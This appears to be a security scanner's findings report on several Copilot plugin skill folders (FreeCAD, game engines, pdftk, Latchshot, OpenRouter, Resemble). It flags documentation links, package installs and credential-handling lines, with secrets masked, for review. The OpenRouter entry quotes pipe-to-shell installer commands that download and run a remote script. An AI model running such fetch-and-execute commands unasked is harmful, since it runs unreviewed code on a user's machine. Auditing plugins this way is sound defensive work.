  • Network accessline 198
    - [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements)
  • Network accessline 199
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 200
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 201
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 202
    - [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29)
  • Network accessline 203
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 204
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 205
    - [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 206
    - [Gui Command](https://wiki.freecad.org/Gui_Command)

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/geometry-and-shapes.md

  • Network accessline 7
    - [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry)
  • Network accessline 8
    - [Part scripting](https://wiki.freecad.org/Part_scripting)
  • Network accessline 9
    - [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting)
  • Network accessline 10
    - [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting)
  • Network accessline 11
    - [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part)
  • Network accessline 12
    - [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting)
  • Network accessline 13
    - [Drawing API example](https://wiki.freecad.org/Drawing_API_example)
  • Network accessline 14
    - [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1)
  • Network accessline 15
    - [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2)
  • Network accessline 16
    - [Line drawing function](https://wiki.freecad.org/Line_drawing_function)

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/gui-and-interface.md

  • Network accessline 7
    - [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools)
  • Network accessline 8
    - [Gui Command](https://wiki.freecad.org/Gui_Command)
  • Network accessline 9
    - [Define a command](https://wiki.freecad.org/Command)
  • Network accessline 10
    - [PySide](https://wiki.freecad.org/PySide)
  • Network accessline 11
    - [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples)
  • Network accessline 12
    - [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples)
  • Network accessline 13
    - [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples)
  • Network accessline 14
    - [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets)
  • Network accessline 15
    - [Interface creation](https://wiki.freecad.org/Interface_creation)
  • Network accessline 16
    - [Dialog creation](https://wiki.freecad.org/Dialog_creation)
  • Network accessline 17
    - [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets)
  • Network accessline 18
    - [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files)
  • Network accessline 19
    - [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors)
  • Network accessline 20
    - [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF)
  • Network accessline 21
    - [Qt Example](https://wiki.freecad.org/Qt_Example)
  • Network accessline 22
    - [3D view](https://wiki.freecad.org/3D_view)
  • Network accessline 23
    - [The Coin scenegraph](https://wiki.freecad.org/Scenegraph)
  • Network accessline 24
    - [Pivy](https://wiki.freecad.org/Pivy)

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/parametric-objects.md

  • Network accessline 7
    - [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects)
  • Network accessline 8
    - [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I)
  • Network accessline 9
    - [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II)
  • Network accessline 10
    - [Scripted objects](https://wiki.freecad.org/Scripted_objects)
  • Network accessline 11
    - [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes)
  • Network accessline 12
    - [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration)
  • Network accessline 13
    - [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment)
  • Network accessline 14
    - [Viewprovider](https://wiki.freecad.org/Viewprovider)
  • Network accessline 15
    - [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view)
  • Network accessline 16
    - [Properties](https://wiki.freecad.org/Property)
  • Network accessline 17
    - [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList)
  • Network accessline 18
    - [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/scripting-fundamentals.md

  • Network accessline 7
    - [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction)
  • Network accessline 8
    - [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python)
  • Network accessline 9
    - [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial)
  • Network accessline 10
    - [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics)
  • Network accessline 11
    - [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros)
  • Network accessline 12
    - [Working with macros](https://wiki.freecad.org/Macros)
  • Network accessline 13
    - [Code snippets](https://wiki.freecad.org/Code_snippets)
  • Network accessline 14
    - [Debugging](https://wiki.freecad.org/Debugging)
  • Network accessline 15
    - [Profiling](https://wiki.freecad.org/Profiling)
  • Network accessline 16
    - [Python development environment](https://wiki.freecad.org/Python_Development_Environment)
  • Network accessline 17
    - [Extra python modules](https://wiki.freecad.org/Extra_python_modules)
  • Network accessline 18
    - [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library)
  • Network accessline 19
    - [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD)
  • Network accessline 20
    - [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui)
  • Network accessline 21
    - [Macro at startup](https://wiki.freecad.org/Macro_at_Startup)
  • Network accessline 22
    - [How to install macros](https://wiki.freecad.org/How_to_install_macros)
  • Network accessline 23
    - [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration)
  • Network accessline 24
    - [Quantity](https://wiki.freecad.org/Quantity)

harness/github-copilot/plugins/creative-media-tooling/skills/freecad-scripts/references/workbenches-and-advanced.md

  • Network accessline 7
    - [Workbench creation](https://wiki.freecad.org/Workbench_creation)
  • Network accessline 8
    - [Script tutorial](https://wiki.freecad.org/Scripts)
  • Network accessline 9
    - [Macros recipes](https://wiki.freecad.org/Macros_recipes)
  • Network accessline 10
    - [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python)
  • Network accessline 11
    - [Path scripting](https://wiki.freecad.org/Path_scripting)
  • Network accessline 12
    - [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example)
  • Network accessline 13
    - [Svg namespace](https://wiki.freecad.org/Svg_Namespace)
  • Network accessline 14
    - [Python](https://wiki.freecad.org/Python)
  • Network accessline 15
    - [PythonOCC](https://wiki.freecad.org/PythonOCC)

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/2d-maze-game.md

  • Network accessline 5
    **Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation)
  • Network accessline 6
    **Live demo:** [Cyber Orb](https://orb.enclavegames.com/)
  • Network accessline 7
    **Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/2d-platform-game.md

  • Network accessline 9
    **Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/gameBase-template-repo.md

  • Network accessline 5
    **Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase)
  • Network accessline 6
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)
  • Network accessline 8
    **Level editor integration:** [LDtk](https://ldtk.io)
  • Network accessline 228
    1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/)
  • Network accessline 229
    2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/)
  • Network accessline 230
    3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/)
  • Network accessline 235
    # Clone the repository git clone https://github.com/deepnight/gameBase.git my-game
  • Network accessline 236
    git clone https://github.com/deepnight/gameBase.git my-game

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/paddle-game-template.md

  • Network accessline 9
    **Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/assets/simple-2d-engine.md

  • Network accessline 5
    **Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 6
    - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/)
  • Network accessline 7
    - [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/)
  • Network accessline 9
    **Author:** [Sebastien Benard / deepnight](https://deepnight.net)

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/3d-web-games.md

  • Network accessline 5
    Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web)
  • Network accessline 99
    </head>   <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 100
    <body>     <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>     <script>
  • Network accessline 101
    <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script>
  • Network accessline 197
    - Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc
  • Network accessline 199
    - Consult [Three.js documentation](https://threejs.org/docs/) for the full API.
  • Network accessline 210
    <script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script>
  • Network accessline 275
    - `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo
  • Network accessline 277
    - Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing.
  • Network accessline 291
    <meta charset="utf-8" />     <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 292
    <title>A-Frame Demo</title>     <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>     <style>
  • Network accessline 293
    <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script>
  • Network accessline 394
    - Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 395
    - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/)
  • Network accessline 403
    - PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation](
  • Network accessline 405
    - Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations.
  • Network accessline 497
    - Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. 
  • Network accessline 498
    - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL
  • Network accessline 499
    - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration.
  • Network accessline 732
    - **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti
  • Network accessline 733
    - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content).
  • Network accessline 752
    - Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs
  • Network accessline 754
    - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/algorithms.md

  • Network accessline 10
    > Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/
  • Network accessline 118
    > Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93
  • Network accessline 243
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/
  • Network accessline 354
    > Source: https://winter.dev/articles/physics-engine
  • Network accessline 551
    > Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/basics.md

  • Network accessline 5
    Sources: - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 6
    - https://developer.mozilla.org/en-US/docs/Games/Introduction
  • Network accessline 7
    - https://developer.mozilla.org/en-US/docs/Games/Anatomy

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/game-control-mechanisms.md

  • Network accessline 507
    <script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/game-engine-core-principles.md

  • Network accessline 5
    Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/
  • Network accessline 555
    class WebFileSystem extends FileSystem {   async readFile(path) {     const response = await fetch(path);
  • Network accessline 556
    async readFile(path) {     const response = await fetch(path);     return response.arrayBuffer();
  • Network accessline 557
    const response = await fetch(path);

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/techniques.md

  • Network accessline 9
    **Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts)
  • Network accessline 67
    **Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance)
  • Network accessline 143
    **Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels)
  • Network accessline 178
    - The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu
  • Network accessline 180
    - Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API).
  • Network accessline 186
    **Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games)
  • Network accessline 271
    async function getFile(filepath) {   const response = await fetch(filepath);
  • Network accessline 272
    const response = await fetch(filepath);
  • Network accessline 355
    **Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection)
  • Network accessline 526
    **Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps)
  • Network accessline 618
    **Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API)
  • Network accessline 801
    **Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/terminology.md

  • Network accessline 5
    Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/

harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/web-apis.md

  • Network accessline 595
    <!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 596
    <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg">
  • Network accessline 757
    // Load and play a sound effect async function playSFX(url) {   const response = await fetch(url);
  • Network accessline 758
    async function playSFX(url) {   const response = await fetch(url);   const arrayBuffer = await response.arrayBuffer();
  • Network accessline 759
    const response = await fetch(url);
  • Network accessline 1219
    - **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ
  • Network accessline 1221
    - **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth.
  • Network accessline 1394
    For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe

harness/github-copilot/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md

  • Dangerous shell operationline 78
    echo "  Ubuntu/Debian: sudo apt install imagemagick"

harness/github-copilot/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 27
    | Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Network accessline 28
    | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. |
  • Network accessline 29
    | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. |
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 44
    node scripts/latchshot.mjs demo \   --url 'https://example.com' \
  • Network accessline 45
    --url 'https://example.com' \
  • Network accessline 49
    The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit
  • Network accessline 62
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 63
    --url 'https://example.com' \
  • Network accessline 70
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 71
    --url 'https://example.com' \
  • Network accessline 80
    node scripts/latchshot.mjs capture \   --url 'https://example.com' \
  • Network accessline 81
    --url 'https://example.com' \
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 145
    - [Latchshot service origin](https://latchshot.fly.dev)
  • Network accessline 146
    - [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)

harness/github-copilot/plugins/creative-media-tooling/skills/latchshot-page-capture/scripts/latchshot.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 9
    const ORIGIN = 'https://latchshot.fly.dev';
  • Access to secretsline 75
    [Credential-related source omitted]
  • Network accessline 106
    Examples:   node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 107
    node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg
  • Network accessline 108
    node scripts/latchshot.mjs capture --url https://example.com --output page.png
  • Network accessline 109
    node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4
  • Access to secretsline 192
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]

harness/github-copilot/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md

  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 6
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Network accessline 64
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Dangerous shell operationline 65
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 65
    | `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral
  • Network accessline 66
    | `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. |
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 97
    - [uv installer for macOS/Linux](https://astral.sh/uv/install.sh)
  • Network accessline 98
    - [uv installer for Windows](https://astral.sh/uv/install.ps1)
  • Network accessline 99
    - [OpenRouter keys](https://openrouter.ai/settings/keys)

harness/github-copilot/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/scripts/generate_image.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Possible obfuscationline 83
    raw = base64.b64decode(encoded)
  • Network accessline 135
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Network accessline 157
    # https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options

harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md

  • Dangerous shell operationline 27
    | Debian/Ubuntu | `sudo apt-get install pdftk` |
  • Dangerous shell operationline 28
    | Red Hat/Fedora | `sudo dnf install pdftk` |

harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/download.md

  • Dangerous shell operationline 26
    sudo apt-get install pdftk
  • Dangerous shell operationline 32
    sudo dnf install pdftk
  • Network accessline 37
    PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th
  • Network accessline 45
    [PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 49
    [PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/)
  • Network accessline 53
    PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/
  • Network accessline 58
    curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip
  • Network accessline 62
    Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`.
  • Network accessline 75
    PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t

harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-man-page.md

  • Network accessline 3
    - **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 4
    - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes
  • Network accessline 5
    - See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation

harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-server-license.md

  • Network accessline 15
    [PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf)
  • Network accessline 19
    [Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server)
  • Network accessline 23
    PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen

harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/third-party-materials.md

  • Network accessline 13
    [Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt)
  • Network accessline 15
    Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 25
    [Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt).
  • Network accessline 27
    [Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt).
  • Network accessline 29
    Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 43
    [Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt).
  • Network accessline 45
    Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/).
  • Network accessline 51
    Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org)
  • Network accessline 59
    Download the Bouncy Castle source code from: http://www.bouncycastle.org/.
  • Network accessline 67
    [Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 69
    The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/).
  • Network accessline 79
    Download the MinGW runtime source code from: http://mingw.org/.
  • Network accessline 87
    [Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt).
  • Network accessline 89
    Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/
  • Network accessline 95
    http://www.apache.org/licenses/LICENSE-2.0
  • Network accessline 99
    [Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt).
  • Network accessline 101
    [Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt).
  • Network accessline 103
    Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.

harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/LICENSE

  • Network accessline 1
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 3
    http://www.apache.org/licenses/
  • Network accessline 195
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md

  • Network accessline 5
    license: Apache-2.0 metadata:   compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection.
  • Network accessline 6
    metadata:   compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. ---
  • Network accessline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 25
    - Base docs URL: <https://docs.resemble.ai/welcome>.
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 71
    {   "url": "https://example.com/suspect.mp4",
  • Network accessline 72
    "url": "https://example.com/suspect.mp4",
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 161
    [Credential-related source omitted]
  • Network accessline 204
    - [Resemble AI dashboard](https://app.resemble.ai)
  • Network accessline 205
    - [Resemble documentation](https://docs.resemble.ai/welcome)

harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/references/api-reference.md

  • Network accessline 7
    - **Base URL**: `https://docs.resemble.ai/welcome`
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 19
    {   "url": "https://example.com/media.mp4",
  • Network accessline 20
    "url": "https://example.com/media.mp4",
  • Network accessline 55
    "consistency": "0.91",   "aggregated_score": "0.92",   "image": "https://{example-url}"
  • Network accessline 56
    "aggregated_score": "0.92",   "image": "https://{example-url}" }
  • Network accessline 57
    "image": "https://{example-url}"
  • Network accessline 70
    "label": "fake",   "score": 0.87,   "image": "https://{example-url}",
  • Network accessline 71
    "score": 0.87,   "image": "https://{example-url}",   "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 72
    "image": "https://{example-url}",
  • Network accessline 73
    "ifl": { "score": 0.82, "heatmap": "https://{example-url}" },
  • Network accessline 105
    { "url": "https://example.com/audio.mp3", "json": true }
  • Network accessline 175
    {   "url": "https://example.com/image.png",
  • Network accessline 176
    "url": "https://example.com/image.png",
  • Network accessline 195
    { "url": "https://example.com/suspect-image.png" }
  • Network accessline 217
    {   "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 218
    "audio_url": "https://example.com/known-speaker.wav",
  • Network accessline 226
    {   "audio_url": "https://example.com/unknown-speaker.wav",
  • Network accessline 227
    "audio_url": "https://example.com/unknown-speaker.wav",

harness/github-copilot/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md

  • Access to secretsline 213
